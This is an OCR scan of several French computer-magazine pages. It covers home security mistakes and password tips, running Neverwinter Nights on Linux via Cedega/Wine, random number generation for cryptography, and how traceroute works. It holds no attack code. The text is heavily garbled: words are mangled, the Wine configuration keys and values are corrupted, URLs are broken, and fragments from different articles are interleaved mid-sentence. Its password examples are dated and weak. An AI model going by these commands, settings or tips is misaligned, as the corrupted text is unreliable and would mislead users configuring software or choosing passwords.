doit étre la premiére chose a laquelle nous
devons penser. La plupart d’entre-nous
attendent en revanche la premiére galére
pour réagir. En ouire, les villes sont pleines
de maisons équipées d'un antivol monté
apres un cambriolage. ..

4.PARAMETRER DES REGLES DE
SECURITE EXTREMEMENT RIG
=S =l Une reaction typique du pére
qui parametre un firewall et des filtres de
protection pour que ses enfants soient

AL
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a I'abri des publicités et sites douteux
présents sur Internet. Voir regle n°1 : ils
pensent que le firewall suffit a protéger
leurs enfants (les enfants sont déja dix
kilometres plus loin). Les regles de sécu-
rité dans un réseau (méme la famille est
un réseau) doivent étre fixées a travers le
dialogue et non pas par la contrainte. Un
pére qui navigue une demi-heure par jour
avec ses enfants et fournit patiemment
des explications sur les dangers encou-
rus, fonctionne bien mieux gue n'importe
quel filtre. Et les jeunes surferont sans
danger, méme sans firewall.

5.TRAITER LES PRIVILEGES D’ACCES
GLOBALEMENT.. dministrateur
de réseau (ce qui signifie également un
ordinateur partagé par deux personnes)
programme souvent des barrieres fres
simples entre les utilisateurs, en ouvrant la
voie aux problemes. Au pire, ils tenteront
de contourner les privileges méme de F'in-
térieur du réseau. Mieux vaut prendre plus
de temps, comprendre les exigences de
chaeun etcréer un systeme d'autorisation
sur mesure, dans la mesture du possible.

6.TRAITERTOUTES LES DONNEES DE
LA MEME FACON.{E=Rlelal=Tdolelg| Cla 131
les passwords pour 'home banking ? |l
doit étre crypté, caché, protége, enregistré
plusieurs fois etc.. Les textes des chan-
sons de Nirvana téléchargés par Internet
? Quelle importance si tout le monde peut
les voir ? Combien d’ordinateurs dispo-
sent de la méme protection pour toutes
les données ? Parfois, elle sera trop puis-
sante, parfois pas assez. Apprenez a faire
la distinction.

| TAvoI LawaNi ou sackup /g
SI on attrape un virus sans sen rendre
compte ? En procédant a une restauration
systéme, on transfere également le virus
dans le backup. La véritable obsession

devrait étre toute autre ;celle de Finté-

PAS FAIRE.

surtout dans un environnement a risgue,
et si nécessaire aller jusqu’au stupide pas-
sword sur I'écran de veille. Banal certes,
mais ¢'est toujours une protection de plus.

10.CHOISIR DES PASSWORDS SIM-
Nous traitons cetie regle en dernier
car il s'agit d'une lacune de base. Quelle
que soit votre protection, si votre password
est trop simple, il ne servira & rien.

_,. '.4:\,.

n
B
l
|
)

2 fois dans voire vie, sentez- |
vous plus en sécurité en ne suivant '
pas les régles | Essayez vous verrez !

grité des données. Avant de pensera la
fréquence des backup, pensez a contréler
soigneusement vetre disque dur et vérifiez
que les données soient bien rangées.
Vous pouvez ensuite les restaurer. Mais
seulement aprés..

POUR UN PASS
WORD INFAILLI B
BLE

Des irucs simples pour angmenter |a
sécurité de voire mot de passe :

8.SE FIER LES YEUX FERMES A
NOS DEFENSES. [&E¥e]r-{gls CR=TRU-0N
en arrivent a payer un hacker car
certains tentent constamment de pénétrer
dans leur réseau informatique. Pourguoi
ne ferions-nous pas de méme ? Pas
besoin de payer quelqu'un. Il suffit plutot
de faire appel @ un ami de confiance, un
membre de la famille, un collegue, un ami
d'école... mettez-vous d'accord et sondez '
mutuellement vos systemes, pour voir s'ils
sont vulnérables. Les surprises seront 2
l'ordre du jour...

a) ajoutez des symboles. #pippo# est plus
sir que pippo ;

b) mélangez, associez plusieurs mots :
pippopluto, pippluto... ;

c) initiales d’une phrase typique : 'amour
de ma vie = ladmv ;

d) insérez des cryptages, nombres et
symboles : california =k@lif0rnY@ ;

g) préférez un password long : supercali-
fragilistichespiraliioso.

, Que de gens en mstallant un
firewall désactivent 'antivirus, ou I'anti-
spyware ! Ce sont des fous alliés. |l faut

iveaux de defense, |

\ e
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 lou
et eurs sont
=r_=3 ients pour pouvolr utl
Ser ! .. C'est faux, car désormais
|I y a Wme né de la communauté Linux,
et dont le nom signifie justement Wine Is
Not Emulation.

us Linux,

d acceder au disque dur') et les transmet
a une structure Linux, qui les envoie a fins
utiles vers le processeur. Le processeur
reste le méme et n'est pas émulé, dont il
n'y a aucun ralentissement. Le programme
Windows ne s’apergoit de rien et fonction-
ne comme si de rien n'était.

Examinons le processus. En guise
d‘exemple nous allons utiliser Neverwin-
ter Nights, un jeu de Bioware. Le but de cet
article n'est pas d'avoir Neverwinter Nights
sous Linux; car dans ce cas, il existe un
client tout prét sur le site de Bioware. Non, il

(p26) (wwwhackermag.com] |

s'agit de démontrer que Wine est un systé-
me valable également pour les jeux, sil'on
fait I'effort d'étre un peu entreprenant.

Choisir le bon Wne

Nous avons choisi Cedega (aupa-
ravant appelé WineX), qui est une
implémentation de Wine réalisée par
TransGaming Technologies. Il existe
en effet quelques problemes avec
le Wine officiel (cela dépend de
la version, mais dans certaines
situations, le jeu ne peut méme
pas étre installé), que cette
version nous a permis de
resoudre.

Un point important: Cedega
n endommagera pas une even-
tuelle installation préalable de
Wine. Les outils utilisés sont ceux
de Wine, dans I'habituel réper-
toire (path_personale)/wine/tools.
Cedega se trouve installe dans le reper-
toire /ust/lib/transgaming et le fichier de
configuration est ~/.transgaming. Ce qui
signifie que ~/.wine ne sera pas touché, et
que les parametres du Wine préalable-
ment installé resteront les mémes.
niveau de 'insialiation de Wine,

1 tine chose Gue nous gevons
iwme. Dans le répertoire
du code source de Wine, il faut faire
/configure —enable-opengl —
enable-sdldrvy —with-x —pre-
fix=/usr/lib/transgaming/cedera
make depend

make

make install

13aHe Nokt

i \ I{EI'IISSEIII' i ﬂllﬂb’ls [8S Jelx fnm:tmnmt fI'ES bien L’[ 53”5
ﬂl.'l'lll'b' e vitesse. 5i 'on connat la marehe a suivre

lib/trans } Cela
peut valonr !a pelne de créer un lien
vers /ust/bin ou vers notre répertoire
bin preféré. De cette fagon, Cedega
sera parfaitement opérationnel, et en
plus, il ne provoquera pas de conflit
avec une éventuelle autre copie de
Wine.

Caral puvant

Affensge
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1a page hitp://darwine.opendarwin.org.

ol mals Ie pmgramme que
nous avuns utihse s appelle Cedega et se trouve 3
la page hitp://www.transgaming.com/. Pour pouvoi
le télécharger, vous devrez vous enregistrer sur e
site. Tout ceci concerne uniguement les PC. Les
utilisateurs de Mac doivent télécharger Darwine, a

SR,

Installer NIJN

Surprise: avec Neverwinter Nights,
comme avec beaucoup d'autres jeux,
linstallation standard lancée via setup ne
fonctionne pas. Il doit y avoir un probleme
avec le systeme de protection du disque,
ou alors c'est a cause du programme
setup, qui ne fonctionne pas correcte-
ment avec les bibliothégues de Wine.
Solution: il faut installer le jeu sur un
PC Windows. Dans notre cas, il sera
installé dans C:\NWN.
Copions ce répertoire dans le répertoi-
. requi, pour Transgaming, se compor-
* . te comme undisque Windows. il s'agit
« % durépertoire ~/.transgaming/c_drive,
qui possede un lien symbolique par
defaut vers ~/Tr ransGammg Dnve

chiers a d’auires endroi-
s, ou si nous savons qu'il y
a besoin d’autres fichiers,
prenons-les et mettons-les
dans le dossier a peine
copié. lci, il s'agit de MFC42.
DLL et RICHED32.DLL

SYSTEM, que nous devons

déplacer dans le dossier NWN qui '

finira sur le systéeme Linux. MFC42.

DLL est requis par I'utilitaire de mise *

a jour de NWN; quand a RICHEDS32.
DLL, nous savons gu'il est nécessai-
re, car lorsque nous avons lance le
programme sans ce fichier, nous avons
re¢u un message derreur.

a partir de C:\WINDOWS\ /

1

flchler Ie plus a jour devra|t étre

http://nwdownloads.bioware.com/
neverwinternights/patch/nwupda-
te1.23.exe. Ce fichier ne doit absolu-
ment pas étre renommeé; langons-le
et téléchargeons la mise a jour corre-
spondant a la derniere version du jeu.

Resolutions

Il peut y avoir quelgues probiémes au
niveau du rendement vidéo, car Wine
n'est pas encore aussi sophistiqué
que Windows en ce qui conce ne ia
gestion des résolutions d’afficha

ge. Neverwinter Nights ne fonctnonne
gu’avec une résolution 800 x 600 en
couleurs 32 bits. Ce n’est pas le top,
mais ce n'est pas catastrophique non
plus. Il sera aussi sGrement impossible
de lancer le fichier exécutable du jeu,
si ce n'est a partir du dossier méme du
jeu. Allons dans ~/TransGaming_Drive/
NWN et lancons le fichier nwmain.exe.

Pra==N
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t¢ ; mais atten-

tion, nous n’au-

rons pas toujours

autant de chance.

Le curseur de la souris
apparait pas comme il le
devrait dans NWN, mais quand le jeu
demande a le changer, cela fonction-
ne. Donc ca ira trés bien comme ca.
Enfin, les vidéos o’
t U ne ‘fom io

introduc-

ue Cr_\}-
r du jeu
. Nous
ous sommes déja
heurtés a ce genre de
situation avec d'autres
jeux. Alors si le jeu fonc-
tionne, ne nous entétons

pas sur les présentations. T—
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I adrésée http //apbdb winehq. 6rg/
vous trouverez une base de données

qui expose le degré de compatibilité

entre Wine et au moins 2.669 appli-
cations Windows. Si vous souhaitez approfondir ce theme, nous vous
conseillons également les sites hitp://frankscorner.org/, http://sidenet.

ddo.jp/winetips/config.html, ainsi que I'excellent http:/www. von—thadden ==

s de/Joach:m/Wme]‘ools/

J
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En térmas de
rendement

Guive par rapport acelle que
nous aunons sous Windows. D'ailleurs,
nous avons pu le constater dans la
pratique. Les prestations effectives
dépendent de la qualité de la carte
vidéo et de la quantité de RAM, mais,
en substance, le nombre de photo-
grammes par seconde est pratique-
ment le méme

==t parizit, sauf lorsque
nous fansons des copies d’écran du jeu,
auquel cas il a tendance a s’évanouir un
instant. Nous sommes également venus
2 bout de ce probleme, en configurant
directement I'émulation de Direct3D.
Ceci est aussi valablepour les jeux de la
série Grand Theft Auto, par exemple.

: ce qui y est sans aucun
doute pour beaucoup; mais cela
devrait rester correct méme avec un
peu moins de RAM. C’est dans ces
moments-la que 'on apprécie I'effica-
cité des bibliotheques de Wine. Méme
'enregistrement des parties se fait en
des temps tout a fait comparables a
ceux de Wmdows

Ie jeu en réseau et en
Ilgne est important, et il peut aussi se
faire par le biais de Wine, méme si les
portes nécessaires devront peut-étre
étre ouvertes manuellement. Dans le
cas de Neverwinter Night, la liste se
situe dans un fichier qui dépend de la
version installée, et qui s’appelle par
exemple Nw128.txt.

(p28) [www.hackermau.com] |

5. Les paramétres ci-dessous
semblent étre les meilleurs avec des
jeux comme NWN, Grand Theft Auto,
Baldur's Gate et Diablo, et touies les
suites. Diablo II:LOD, par exemple,
fonctionne parfaitement.

[n1tdirvl

; Nombre de couleurs a reporter sur '

la paletie systeme

“RliocSysternColors” = “100”

; Nombre de couleurs a partir de la
palette par defaut
“CopybefauliColors” =“0”

; Utilise une carte couleurs privee
“PrivateColorMap” = “N”

; Dans certaines opérations graphiques,
préafére Pexactitude a la rapidité

“Perfectbraphics” = *N”

; Profondeur de couleur a utiliser sur
1es écrans a profondeurs muitipies

37'ScreenBepth” = “16”

; Nom de Pécran H11 a ufiliser
37 Oisplay” = “:0.0”

; Permet a window manager de gérer
les fenétres créges

“mr'aged” = lil‘j!s

; Utilise une fenéire desktop de
6405480 pour Wine

“Uesktnp” = “Bﬂu&lﬁﬂﬂ"

; Utilise I'exstension OGA de HFreed6 si
présente ; (elie doit tre accessibie)

/dey/mem!)

“usenm” = “v”

; Utilise Pextension HShim si présente
“ljse}{shm’ = “l.’!!

; Permet d’utiliser la souris grah
“ﬂ“ﬁfﬂh” - “N‘!’

; Utilise Pextension HuidMode, si pré-
sente

“ljseiﬂ-'imde“ — “l‘,”

; Crée la fenéire desktop avec affi-

chage a double buffer ; (utile pour
des jeus bases sur Upen!i]
“PesktopboubleBuffered” = “Y”

; Code page used pour les captionin
managed mode
; O indique ie code page ANSI par
defaut (CP_ACP==10)

“TEHﬂ:P” = “u”

; A utiliser si yous avez plus d'un port
viden

; (Wine utilise la premiere ‘input ima-
ge’ qu'il trouve).

s “HUideuPnrt” e




lasseur découpe suivant les pointillés

EXEMPLE

k:)‘.' Pour conserver ces pages dans un ¢

andom signifie aléatoire. Générer
des données de facon aléatoire peut
s'avérer tres ufile dans les systemes
cryp togbrdpmques mais ¢'est loin d'étre
une tache facile. Une bonne partie des softwares
qui générent des suites de nombres random ne
sont pas du tout fiables ni adaptés aux systemes
cryptographiques. Les générateurs de suites
random via software sont toujours pseudo-ran-

dom et pour augmenter le degré de hasard, ces
Programmes demandent fres souventa ! utilisateur o interagir avec I algomhme d une fagon que
algorithme ne peut, a priori, pas prévoir, g

es systemes cryptographigques ont souvent fait I"objet / !

d’attaques concernant la génération des mots de passe,
car ces derniers ne proviennent en aucun cas d’une sour-
ce aléatoire.Certaines versions de Netscape, par exemple,
généraient une chaine de départ de la clé cryptographique
considérée comme aléatoire & partir de I’horloge du systeme
et du numéro identifiant le processus en cours. Il ne s’agit
en aucun cas d'une génération aléatoire, mais tout au plus
d’une génération pseudo-aléatoire.

Pour une génération pseudo-random, on trouve, par exem-
ple, PGP qui pendant I'installation, demande a I'utilisateur
d'écrire un texte. Le programme de génération de la chaine
aléatoire pour la création de la clé, contrdle le temps qui
s’écoule entre chaque pression de touches et utilise ces
données pour rendre I'algorithme véritablement aléatoire.

a géneratmn de chiffres véritablement random nécessite de
recourir a des sources de données exiernes et physigues, com- SR : o=
me la décroissance radioactive, le bruit de fond de certains circuits ‘La cryptographie géneree par des systemes veritahlement
glectronigues ou d’autres phénomenes physiques, et ainsi de suite.
Aprés avoir généré une suite vraiment aléatoire, celle-ci pourrait étre
utilisée en tant que noyau pour un mécanisme de génération pseudo

random est considérée comme siire, contrairement a la
grande majorité des systémes softwares qui générent des clés
& partir de mécanismes sans interaction avec extérieur et
aléatoire capable de produire plusieurs clés a partir de ce méme noyau donc prévisibles tot ou tard.

aiment random.

UN PROGRAMME DE MESURE DE UENTROPIE D’UN SYSTE-
M}E ET DONC DU DEGRE DE HASARD QU’IL EST CAPABLE DE
GENERER, EST DISPONIBLE SUR : www.FOURMILAB.CH/RANDOM/

APPAREIL A SOUDER, VOICI DIFFERENTS SCHEMAS SIM-
PLES DE GENERATEURS ELECTRONIQUES DE BRUIT ALEA-
TOIRE : www.ciPHERSBYRITTER.COM/NOISE/NOISRC.HTM




Traceroute ===

raceroute est a P'origine une com-
mande Unix, pour tenter de tra-
cer le parcours d’un paquet sur
le réseau Internet. Nous savons
qu’Internet est une agrégation extréme-
ment complexe de hardwares de réseau,
reliés entre eux par gateway. Suivre le
parcours d’un paguet peut s'avérer tres
intéressant, tout en nous faisant com-
P{endre de nombreuses choses face a
‘état du réseau pour acceder a un ser-
veur détermine.

Pour tracer un paguet, traceroute utilise le champ Time
to Live du protocole IP, en I'augmentant de un a un. Celui-
ci regoit une réponse du nceud que le paguet renconire.
Chague paquet envoyé atteint un nceud suivant, mais c’est
alors qu'il expire car son Time to Live revient a zéro et donc
le noeud envoie une réponse. En analysant fe paquet de
réponse, nous pouvons déterminer qui nous I'a envoyé et
combien de temps il a mis pour voyager le long du réseau.

| Voici un exemple de traceroute :

[tbone 571% traceroute allspice.lcs.mit.edu

traceroute to allspice.lcs.mit.edu (18.26.0.115), 30 hops
max

1 helios.ee.lbl.qov (128.3.112.1) 0 ms O ms O ms

2 lilac-dmc.Berkeley.EDU (128.32.216,1) 19 ms 19 ms 19
ms

3 lilac-dmc.Berkeley.EDU (128.32.216.1) 39 ms 19 ms 19
ms

4 cengw-ner-cc.Berkeley.EDU (128.32.136.23) 19 ms 39
ms 39 ms

5 ccn-nerif22.Berkeley.EDU (128.32.168.22) 20 ms 39
ms 39 ms

6 128.32.197.4 (128.32.197.4) 59 ms 119 ms 39 ms

7 131.119.2.5 (131.119.2.5) 59 ms 59 ms 39 ms

8 129.140.70.13 (129.140.70.13) 80 ms 79 ms 99 ms

9 129.140.71.6 (129.140.71.6) 139 ms 139 ms 159 ms

10 129.140.81.7 (129.140.81.7) 199 ms 180 ms 300 ms

11 129.140,72.17 (129.140.72.17) 300 ms 239 ms 239
ms

12 * * *

13 128.121.54.72 (128.121.54.72) 259 ms 499 ms 279
ms

14 Bl

15 e

16 * *x %

17 * * w

18 ALLSPICE.LCS.MIT.EDU (18.26.0.115) 339 ms 279 ms
279 ms

Les noeuds 14 2 17 ne répondent pas ou ont répondu par
un TiL trop petit qui n’est pas arrivé jusqu’a nous a temps.
(En réalité, ce sont des neeuds internes au Massachussets
Institute of Technology, programmeés pour ne pas répondre
a traceroute). Quant au nceud 12... eh bien, on n'a pas de
nouvelles...

raceroute est présent sur fous les systémes d'exploitation,
méme §'il porte parfois un nom différent, comme sous Win-
dows, qui nous oblige a taper Tracert dans fa ligne de commande.
Le seul parametre indispensable pour faire fonctionner traceroute
est a spécification du serveur gue vous souhaitez etudier, en
clair ou sous forme d’adresse IP. La commande prévoit plusieurs
options auxquelles on peut avoir acces en tapant info traceroute.

TRACEROUTE PEUT EGALEMENT ETRE UTILISE ONLINE,
SUR CERTAINS SITE PREVUS A CET EFFET :
WWW.SUBNETONLINE.COM/TOOLS/TRAGEROUTE. HTML

Secyrite

T raceroute est un outil de sécurité en soi, car il permet de
W tracer un serveur a partir de son adresse IP, en parvenant

a connaitre son origine. A condition bien sir qu'il m'ait pas été
programme pour ne pas répondre.

LES CODES D’ERREUR QUI SONT RESTITUES PAR LE
PROTOCOLE LORSQUE LE PAQUET ATTEINT UN NCEUD :
HTTP://LIVENUDEFROGS.COM/~ANUBIS/ICMP/#TYPE3

Pour conserver ces pages dans un classeur découpe suivant les pointillés
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